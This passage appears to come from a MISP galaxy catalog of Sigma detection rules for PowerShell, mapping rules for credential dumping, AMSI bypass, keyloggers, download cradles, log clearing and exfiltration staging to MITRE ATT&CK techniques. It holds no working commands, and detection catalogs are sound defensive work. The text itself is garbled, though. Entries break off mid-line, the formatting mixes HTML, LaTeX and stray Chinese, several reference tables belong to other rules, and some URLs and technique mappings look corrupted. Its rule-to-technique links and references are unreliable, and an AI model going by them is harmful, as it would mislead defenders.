<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml</a></td>
</tr>
</tbody>
</table>

**Powershell Timestomp**

Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder.

The tag is: `misp-galaxy:sigma-rules="Powershell Timestomp"`

**View relationships graph**

Powershell Timestomp has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006"` with estimative-language:likelihood-probability="almost-certain"

**Table 9095. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
PowerShell PSAttack

Detects the use of PSAttack PowerShell hack tool

The tag is: `misp-galaxy:sigma-rules="PowerShell PSAttack"`

View relationships graph

PowerShell PSAttack has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Suspicious Hyper-V Cmdlets

Adversaries may carry out malicious operations using a virtual instance to avoid detection

The tag is: `misp-galaxy:sigma-rules="Suspicious Hyper-V Cmdlets"`

View relationships graph

Suspicious Hyper-V Cmdlets has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Run Virtual Instance - T1564.006"` with estimative-language:likelihood-probability="almost-certain"
Service Registry Permissions Weakness Check

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services

The tag is: misp-galaxy: sigma-rules="Service Registry Permissions Weakness Check"

Create Volume Shadow Copy with Powershell

Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information

The tag is: misp-galaxy: sigma-rules="Create Volume Shadow Copy with Powershell"
Veeam Backup Servers Credential Dumping Script Execution

Detects execution of a PowerShell script that contains calls to the "Veeam.Backup" class, in order to dump stored credentials.

The tag is: misp-galaxy:sigma-rules="Veeam Backup Servers Credential Dumping Script Execution"

Enable Windows Remote Management

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

The tag is: misp-galaxy:sigma-rules="Enable Windows Remote Management"

Enable Windows Remote Management has relationships with:

**Suspicious PowerShell Mailbox SMTP Forward Rule**

Detects usage of the PowerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox SMTP Forward Rule"`

*Table 9102. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/">https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Eventlog Clear**

Detects usage of known powershell cmdlets such as "Clear-EventLog" to clear the Windows event logs

The tag is: `misp-galaxy:sigma-rules="Suspicious Eventlog Clear"`

**View relationships graph**

Suspicious Eventlog Clear has relationships with:


*Table 9103. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/oronequalsone/status/1568432028361830402">https://twitter.com/oronequalsone/status/1568432028361830402</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd43dd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd43dd3742bfcf365fee2a9/atomics/T1070.001/T1070.001.md</a></td>
</tr>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html">https://eqllib.readthedocs.io/en/latest/analytics/5b223758-07d6-4100-9e11-238cfdd0fe97.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_clear_eventlog.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Get Information for SMB Share**

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
The tag is: *misp-galaxy:sigma-rules*="Suspicious Get Information for SMB Share"

**View relationships graph**

Suspicious Get Information for SMB Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9104. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd5f23f365ffe2a9/atomics/T1069.002/T1069.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd5f23f365ffe2a9/atomics/T1069.002/T1069.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_smb_share_reco.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious FromBase64String Usage On Gzip Archive - Ps Script**

Detects attempts of decoding a base64 Gzip archive in a PowerShell script. This technique is often used as a method to load malicious content into memory afterward.

The tag is: *misp-galaxy:sigma-rules*="Suspicious FromBase64String Usage On Gzip Archive - Ps Script"

**View relationships graph**

Suspicious FromBase64String Usage On Gzip Archive - Ps Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9105. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_frombase64string_archive.yml</a></td>
</tr>
</tbody>
</table>

**Malicious ShellIntel PowerShell Commandlets**

Detects Commandlet names from ShellIntel exploitation scripts.

The tag is: *misp-galaxy:sigma-rules*="Malicious ShellIntel PowerShell Commandlets"

**View relationships graph**

Malicious ShellIntel PowerShell Commandlets has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9106. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Shellntel/scripts/">https://github.com/Shellntel/scripts/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_shellintel_malicious_commandlets.yml</a></td>
</tr>
</tbody>
</table>

**WMIC Unquoted Services Path Lookup - PowerShell**

Detects known WMI recon method to look for unquoted service paths, often used by pentest inside of powershell scripts attackers enum scripts

The tag is: *misp-galaxy:.sigma-rules=*"WMIC Unquoted Services Path Lookup - PowerShell"*

View relationships graph

WMIC Unquoted Services Path Lookup - PowerShell has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 9107. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1">https://github.com/S3cur3Th1sSh1t/Creds/blob/eac23d67f7f90c7fc8e3130587d86158c22aa398/PowershellScripts/jaws-enum.ps1</a></td>
</tr>
<tr>
<td><a href="https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py">https://github.com/nccgroup/redsnarf/blob/35949b30106ae543dc6f2bc3f1be10c6d9a8d40e/redsnarf.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_unquoted_service_search.yml</a></td>
</tr>
</tbody>
</table>

**Certificate Exported Via PowerShell - ScriptBlock**

Detects calls to cmdlets inside of PowerShell scripts that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

The tag is: *misp-galaxy:sigma-rules=*="Certificate Exported Via PowerShell - ScriptBlock"

View relationships graph

Certificate Exported Via PowerShell - ScriptBlock has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-
PowerShell Script Change Permission Via Set-Acl - PsScript

Detects PowerShell scripts set ACL to of a file or a folder

The tag is: misp-galaxy:sigma-rules="PowerShell Script Change Permission Via Set-Acl - PsScript"

A体系建设图

PowerShell Script Change Permission Via Set-Acl - PsScript 与以下相关联：

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222" with estimative-language:likelihood-probability="almost-certain"

AMSI Bypass Pattern Assembly GetType

Detects code fragments found in small and obfuscated AMSI bypass PowerShell scripts

The tag is: misp-galaxy:sigma-rules="AMSI Bypass Pattern Assembly GetType"

A体系建设图

AMSI Bypass Pattern Assembly GetType 与以下相关联：

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
Suspicious Invoke-Item From Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: misp-galaxy:sigma-rules="Suspicious Invoke-Item From Mount-DiskImage"

View relationships graph

Suspicious Invoke-Item From Mount-DiskImage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005" with estimative-language:likelihood-probability="almost-certain"

Table 9111. Table References

Security Software Discovery Via Powershell Script

Detects calls to "get-process" where the output is piped to a "where-object" filter to search for security solution processes. Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus.

The tag is: misp-galaxy:sigma-rules="Security Software Discovery Via Powershell Script"

View relationships graph

Security Software Discovery Via Powershell Script has relationships with:

Powershell Local Email Collection

Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user's local system, such as Outlook storage or cache files.

The tag is: `misp-galaxy:sigma-rules="Powershell Local Email Collection"`

View relationships graph

Powershell Local Email Collection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Local Email Collection - T1114.001"` with estimative-language:likelihood-probability="almost-certain"

Suspicious PowerShell Get Current User

Detects the use of PowerShell to identify the current logged user.

The tag is: `misp-galaxy:sigma-rules="Suspicious PowerShell Get Current User"`

View relationships graph

Suspicious PowerShell Get Current User has relationships with:

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell

Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file

The tag is: \textit{misp-galaxy:sigma-rules="User Discovery And Export Via Get-ADUser Cmdlet - PowerShell"}

View relationships graph

User Discovery And Export Via Get-ADUser Cmdlet - PowerShell has relationships with:

\begin{itemize}
  \item related-to: \textit{misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033"} with estimative-language:likelihood-probability="almost-certain"
\end{itemize}

Table 9115. Table References

\begin{center}
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_user_discovery_get_aduser.yml</a></td>
</tr>
</tbody>
</table>
\end{center}

Data Compressed - PowerShell

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: \textit{misp-galaxy:sigma-rules="Data Compressed - PowerShell"}

View relationships graph

Data Compressed - PowerShell has relationships with:

\begin{itemize}
  \item related-to: \textit{misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560"} with estimative-language:likelihood-probability="almost-certain"
\end{itemize}

Table 9116. Table References
Winlogon Helper DLL

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.

The tag is: *misp-galaxy:sigma-rules*="Winlogon Helper DLL"

View relationships graph

Winlogon Helper DLL has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"

Table 9117. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560/T1560.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_data_compressed.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: *misp-galaxy:sigma-rules*="Suspicious Service DACL Modification Via Set-Service Cmdlet - PS"

View relationships graph

Suspicious Service DACL Modification Via Set-Service Cmdlet - PS has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Services Registry Permissions Weakness -"
Potential Invoke-Mimikatz PowerShell Script

Detects Invoke-Mimikatz PowerShell script and alike. Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords.

The tag is: misp-galaxy:sigma-rules="Potential Invoke-Mimikatz PowerShell Script"

View relationships graph

Potential Invoke-Mimikatz PowerShell Script has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Troubleshooting Pack Cmdlet Execution

Detects execution of "TroubleshootingPack" cmdlets to leverage CVE-2022-30190 or action similar to "msdt" lolbin (as described in LOLBAS)

The tag is: misp-galaxy:sigma-rules="Troubleshooting Pack Cmdlet Execution"

View relationships graph

Troubleshooting Pack Cmdlet Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
Active Directory Computers Enumeration With Get-AdComputer

Detects usage of the "Get-AdComputer" to enumerate Computers or properties within Active Directory.

The tag is: `misp-galaxy:sigma-rules="Active Directory Computers Enumeration With Get-AdComputer"`

View relationships graph

Active Directory Computers Enumeration With Get-AdComputer has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"` with estimative-language:likelihood-probability="almost-certain"

Detected Windows Software Discovery - PowerShell

Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.

The tag is: `misp-galaxy:sigma-rules="Detected Windows Software Discovery - PowerShell"`

View relationships graph

Detected Windows Software Discovery - PowerShell has relationships with:
**Invoke-Obfuscation Via Use Clip - Powershell**

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: `misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - Powershell"`

**View relationships graph**

Invoke-Obfuscation Via Use Clip - Powershell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimation-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimation-language:likelihood-probability="almost-certain"

**Suspicious Connection to Remote Account**

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism

The tag is: `misp-galaxy:sigma-rules="Suspicious Connection to Remote Account"`

**View relationships graph**

Suspicious Connection to Remote Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001"` with estimation-
Suspicious Mount-DiskImage

Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW.

The tag is: *misp-galaxy:sigma-rules="Suspicious Mount-DiskImage"*

View relationships graph

Suspicious Mount-DiskImage has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Mark-of-the-Web Bypass - T1553.005"* with estimative-language:likelihood-probability="almost-certain"

Potential Suspicious PowerShell Keywords

Detects potentially suspicious keywords that could indicate the use of a PowerShell exploitation framework

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious PowerShell Keywords"*

View relationships graph

Potential Suspicious PowerShell Keywords has relationships with:
Recon Information for Export with PowerShell

Once established within a system or network, an adversary may use automated techniques for collecting internal data.

The tag is: `misp-galaxy:sigma-rules="Recon Information for Export with PowerShell"`

View relationships graph

Recon Information for Export with PowerShell has relationships with:


Potential Suspicious Windows Feature Enabled

Detected usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images.

The tag is: `misp-galaxy:sigma-rules="Potential Suspicious Windows Feature Enabled"`
Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy

Detects PowerShell activity in which Get-AdDefaultDomainPasswordPolicy is used to get the default password policy for an Active Directory domain.

The tag is: misp-galaxy:sigma-rules="Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy"

View relationships graph

Password Policy Discovery With Get-AdDefaultDomainPasswordPolicy has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"

Table 9129. Table References

Suspicious Start-Process PassThru

Powershell use PassThru option to start in background

The tag is: misp-galaxy:sigma-rules="Suspicious Start-Process PassThru"

View relationships graph

Suspicious Start-Process PassThru has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with
Remove Account From Domain Admin Group

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

The tag is: \textit{misp-galaxy:sigma-rules}="Remove Account From Domain Admin Group"

View relationships graph

Remove Account From Domain Admin Group has relationships with:


PowerShell Deleted Mounted Share

Detects when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

The tag is: \textit{misp-galaxy:sigma-rules}="PowerShell Deleted Mounted Share"

View relationships graph

PowerShell Deleted Mounted Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"
Suspicious TCP Tunnel Via PowerShell Script

Detects powershell scripts that creates sockets/listeners which could be indicative of tunneling activity

The tag is: `misp-galaxy:sigma-rules="Suspicious TCP Tunnel Via PowerShell Script"`

View relationships graph

Suspicious TCP Tunnel Via PowerShell Script has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

PowerShell ShellCode

Detects Base64 encoded Shellcode

The tag is: `misp-galaxy:sigma-rules="PowerShell ShellCode"`

View relationships graph

PowerShell ShellCode has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Get Local Groups Information - PowerShell

Adversaries may attempt to find local system groups and permission settings. The knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.

The tag is: `misp-galaxy:sigma-rules="Suspicious Get Local Groups Information - PowerShell"`

Zip A Folder With PowerShell For Staging In Temp - PowerShell Script

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration.

The tag is: `misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp - PowerShell Script"`
Potential Keylogger Activity

Detects PowerShell scripts that contains reference to keystroke capturing functions

The tag is: `misp-galaxy:sigma-rules="Potential Keylogger Activity"`

View relationships graph

Potential Keylogger Activity has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9137. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bccc28aaf456e200486dbd401b25af6da3b4da62/content">https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bccc28aaf456e200486dbd401b25af6da3b4da62/content</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ScumBots/status/1610626724257046529">https://twitter.com/ScumBots/status/1610626724257046529</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9e81655093be93876e0d80732e7eaef7d83476/content">https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9e81655093be93876e0d80732e7eaef7d83476/content</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Process Discovery With Get-Process

Get the processes that are running on the local computer.

The tag is: `misp-galaxy:sigma-rules="Suspicious Process Discovery With Get-Process"

View relationships graph

Suspicious Process Discovery With Get-Process has relationships with:


Table 9138. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bccc28aaf456e200486dbd401b25af6da3b4da62/content">https://www.virustotal.com/gui/file/720a7ee9f2178c70501d7e3f4bccc28aaf456e200486dbd401b25af6da3b4da62/content</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ScumBots/status/1610626724257046529">https://twitter.com/ScumBots/status/1610626724257046529</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9e81655093be93876e0d80732e7eaef7d83476/content">https://www.virustotal.com/gui/file/d4486b63512755316625230e0c9e81655093be93876e0d80732e7eaef7d83476/content</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_keylogger_activity.yml</a></td>
</tr>
</tbody>
</table>
Clear PowerShell History - PowerShell

Detects keywords that could indicate clearing PowerShell history

The tag is: *misp-galaxy:sigma-rules*="Clear PowerShell History - PowerShell"

View relationships graph

Clear PowerShell History - PowerShell has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 9139. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/hook-s3c/7363a856c3dbadeb71085147f042c1a">https://gist.github.com/hook-s3c/7363a856c3dbadeb71085147f042c1a</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml</a></td>
</tr>
</tbody>
</table>

Active Directory Group Enumeration With Get-AdGroup

Detects usage of the "Get-AdGroup" cmdlet to enumerate Groups within Active Directory

The tag is: *misp-galaxy:sigma-rules*="Active Directory Group Enumeration With Get-AdGroup"

View relationships graph

Active Directory Group Enumeration With Get-AdGroup has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

Table 9140. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md</a></td>
</tr>
</tbody>
</table>
Potential COM Objects Download Cradles Usage - PS Script

Detects usage of COM objects that can be abused to download files in PowerShell by CLSID

The tag is: misp-galaxy:sigma-rules="Potential COM Objects Download Cradles Usage - PS Script"

View relationships graph

Potential COM Objects Download Cradles Usage - PS Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9141. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57">https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_crades.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_download_com_crades.yml</a></td>
</tr>
</tbody>
</table>

Dnscat Execution

Dnscat exfiltration tool execution

The tag is: misp-galaxy:sigma-rules="Dnscat Execution"

View relationships graph

Dnscat Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9142. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dnscat_execution.yml</a></td>
</tr>
</tbody>
</table>
Malicious PowerShell Commandlets - ScriptBlock

Dectects Commandlet names from well-known PowerShell exploitation frameworks

The tag is: misp-galaxy:sigma-rules="Malicious PowerShell Commandlets - ScriptBlock"

View relationships graph

Malicious PowerShell Commandlets - ScriptBlock has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9143. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
